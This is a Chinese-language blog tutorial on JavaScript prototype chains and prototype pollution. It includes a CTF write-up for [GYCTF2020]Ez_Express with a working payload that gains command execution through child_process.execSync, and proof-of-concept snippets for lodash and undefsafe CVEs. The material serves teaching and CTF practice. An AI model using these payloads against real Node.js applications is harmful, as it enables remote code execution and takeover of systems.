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js原型链污染

news 来源：原创 2025/5/9 9:45:05

JavaScript 是一门非常灵活的语言，与 PHP 相比起来更加灵活。除了传统的 SQL 注入、代码执行等注入型漏洞外，也会有一些独有的安全问题，比如今天要说这个原型链污染。本篇文章就让我们来学习一下 NodeJS 原型链与原型链污染的原理。

什么是原型链（Prototype Chain）？

在 JavaScript 里，对象是可以继承其他对象的属性和方法的，这种继承就是通过“原型（prototype）”实现的

每个对象都有一个隐藏属性 [[Prototype]]（可以通过 __proto__ 访问），它指向另一个对象，这个被指向的对象就是“原型对象——prototype“。

这些原型对象也可以有自己的原型——__proto__，层层向上直到一个对象的原型对象为null，于是就形成了一个“链条”结构~这条链子就叫做 原型链（Prototype Chain）

举个栗子喵：

let obj = {name: "ALe"
};console.log(obj.toString()); // 虽然没写这个方法，但可以调用！// 因为 obj -> Object.prototype -> 原型链上找到了 toString 方法

💡 这里的过程是这样的：

obj↓
Object.prototype↓
null（原型链的尽头）

一个更形象的例子：

function Cat() {}
Cat.prototype.sayHi = function () {console.log("喵~");
};let migu = new Cat();
migu.sayHi(); // 喵~

migu 自己没有 sayHi 方法，但它可以通过原型链从 Cat.prototype 那里找到并使用它！

原型链长什么样喵？

migu --> Cat.prototype --> Object.prototype --> null

a.__proto__ 是与 A.prototype 等价的，而 A.prototype.__proto__ 是指向 Object.prototype 的，再往下 Object.prototype.__proto__ 指向 null，这就是 JavaScript 中的原型继承链，所有类对象在实例化的时候将会拥有 prototype 中的属性和方法，这个特性被用来实现 JavaScript 中的继承机制。

我们可以通过以下方式访问得到某一实例对象的原型对象：

objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

JavaScript 对象是动态的属性“包”（指其自己的属性）。JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时，它不仅仅在该对象上搜寻，还会搜寻该对象的原型，以及该对象的原型的原型，依次层层向上搜索，直到找到一个名字匹配的属性或到达原型链的末尾。

https://xz.aliyun.com/news/9482关于原型链更复杂的东西可以在这里面学

什么是原型链污染？

在 JavaScript 里，每个对象都会通过 __proto__（或者 Object.prototype）连接到它的原型链上。当我们访问一个对象的属性时，如果这个属性不存在，就会沿着原型链去找。

原型链污染 就是指攻击者可以通过修改对象的原型链（Object.prototype），给所有对象添加恶意属性或方法。这可能会影响整个应用程序的行为，甚至造成严重的安全漏洞

在JavaScript发展历史上，很少有真正的私有属性，类的所有属性都允许被公开的访问和修改，包括proto，构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto，构造函数和原型属性。然后，所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致dos攻击、篡改程序执行流程、RCE等漏洞。
原型链污染的发生主要有两种场景：不安全的对象递归合并和按路径定义属性。

举个简单例子喵：

let obj = {};
console.log(obj.hack); // undefined// 模拟污染
let payload = JSON.parse('{"__proto__": {"hack": "you are hacked"}}');
Object.assign({}, payload);console.log(obj.hack); // you are hacked

在这个例子中：

  • 我们用 JSON.parse 模拟从外部传入的数据。
  • 把 __proto__ 的值设置为了一个对象，其中含有一个叫 "hack" 的属性。
  • 然后用 Object.assign 把这个污染对象合并到一个新对象里。
  • 最终污染了整个 Object.prototype，所有对象都能访问到 hack 属性

Merge 类操作导致原型链污染

Merge 类操作是最常见可能控制键名的操作，也最能被原型链攻击。

我们平时开发时常常需要把多个对象合并起来，比如配置项：

、const defaultConfig = { theme: "light" };
const userConfig = { theme: "dark", lang: "zh" };const config = Object.assign({}, defaultConfig, userConfig);

合并后配置就是 { theme: "dark", lang: "zh" }，但问题来了——如果你使用的是递归合并（deep merge），就容易中招

为什么 Merge 操作容易被污染？

深度合并时，我们会把嵌套对象一个一个递归进去：

function deepMerge(target, source) {for (let key in source) {if (typeof source[key] === "object" &&source[key] !== null &&typeof target[key] === "object") {deepMerge(target[key], source[key]);} else {target[key] = source[key];}}
}

如果攻击者传入的是：

{"__proto__": {"isAdmin": true}
}

那在 merge 的过程中就会执行：

target["__proto__"] = { isAdmin: true };

然后你就污染了整个 Object.prototype

例如：

[GYCTF2020]Ez_Express

www.zip下载源码

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => {    // 发现 merge 危险操作for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}
function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}router.get('/', function (req, res) {if(!req.session.user){res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={'user':req.session.user.user});
});router.get('/login', function (req, res) {res.render('login');
});router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(),    // 变成大写'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/');
});
router.post('/action', function (req, res) {    // /action 路由只能 admin 用户访问if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);    // 使用了之前定义的 merge 危险操作res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

/route/index.js中用了merge()和clone()需要admin账号才能用到clone()

可以看到验证了注册的用户名不能为admin（大小写），不过有个地方可以注意到

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了，这种转编码的通常都很容易出问题

Fuzz中的javascript大小写特性 | 离别歌

注册admın让我们输入自己最喜欢的语言，这里我们就可以发送 Payload 进行原型链污染了：

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

然后访问info路由就可以得到flag

payload原理
  1. req.body 中含有 __proto__：
{"__proto__": {"outputFunctionName": "..." // 恶意代码}
}
  1. 进入 merge() 后，会变成：
Object.prototype.outputFunctionName = "..."
  1. 在 / 和 /info 路由中，有这么一句代码：
res.outputFunctionName = undefined;

你可能会以为这设置了一个空值，但其实并不会阻止调用这个字段

因为 Express 用的是 res.render(view, locals)，它内部可能会调用 res.outputFunctionName()作为模板渲染钩子，特别是在使用像 ejs、pug 之类的模板引擎时。

所以：

res.render('index', data={ user: req.session.user.user })

时，可能会调用这个 outputFunctionName 字段。

一旦这个字段被设置成了一个函数或表达式字符串，比如：

js复制编辑
Object.prototype.outputFunctionName = "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()"

在某些模板引擎（例如旧版 ejs）中会被当作要执行的代码，从而执行 RCE

global.process.mainModule.constructor._load("child_process").execSync("cat /flag").toString()

这个就是最经典的 Node.js 沙箱逃逸技巧，可以执行任意命令！

比如这条命令就会读取 /flag 文件的内容

Lodash 模块原型链污染

什么是 Lodash？

Lodash 是 JavaScript 的一个非常流行的工具库，常用于：

  • 深拷贝对象（_.merge()）
  • 默认合并值（_.defaults() / _.defaultsDeep()）
  • 各种数组、对象处理便利函数

非常多的后端和前端项目中都会用到 Lodash

————————————————————————————————————

对下面这些我都只是一知半解只会用poc的程度，具体原理可以看https://xz.aliyun.com/news/9482

lodash.defaultsDeep 方法造成的原型链污染（CVE-2019-10744）

2019 年 7 月 2 日，Snyk 发布了一个高严重性原型污染安全漏洞（CVE-2019-10744），影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为，具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC：

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'function check() {mergeFn({}, JSON.parse(payload));if (({})[`a0`] === true) {console.log(`Vulnerable to Prototype Pollution via ${payload}`);}}check();
lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件，他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象，以创建父映射对象：

merge(object, sources)

当两个键相同时，生成的对象将具有最右边的键的值。如果多个对象相同，则新生成的对象将只有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作实际上存在原型链污染漏洞

验证漏洞的 POC：

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

在 lodash.merge 方法造成的原型链污染中，为了实现代码执行，我们常常会污染 sourceURL 属性，即给所有 Object 对象中都插入一个 sourceURL 属性，然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞

lodash.mergeWith 方法造成的原型链污染

这个方法类似于 merge 方法。但是它还会接受一个 customizer，以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

该方法与 merge 方法一样存在原型链污染漏洞，下面给出一个验证漏洞的 POC：

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.set 方法造成的原型链污染

Lodash.set 方法可以用来设置值到对象对应的属性路径上，如果没有则创建这部分路径。 缺少的索引属性会创建为数组，而缺少的属性会创建为对象。

set(object, path, value)
  • 示例：
var object = { 'a': [{ 'b': { 'c': 3 } }] };_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5

在使用 Lodash.set 方法时，如果没有对传入的参数进行过滤，则可能会造成原型链污染。下面给出一个验证漏洞的 POC：

var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
lodash.setWith 方法造成的原型链污染

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer，用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

setWith(object, path, value, [customizer])

该方法与 set 方法一样可以进行原型链污染，下面给出一个验证漏洞的 POC：

var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

Undefsafe 模块原型链污染（CVE-2019-10795）

Undefsafe 是 Nodejs 的一个第三方模块，其核心为一个简单的函数，用来处理访问对象属性不存在时的报错问题。但其在低版本（< 2.0.3）中存在原型链污染漏洞，攻击者可利用该漏洞添加或修改 Object.prototype 属性。

undefsafe() 在设置路径时，没有阻止你写入特殊字段如：

__proto__
constructor
prototype

于是你可以这样操作：

undefsafe({}, '__proto__.polluted', '💣');
console.log({}.polluted); // 💣

这就造成了原型链污染漏洞， 和 Lodash 的 merge 漏洞本质一样

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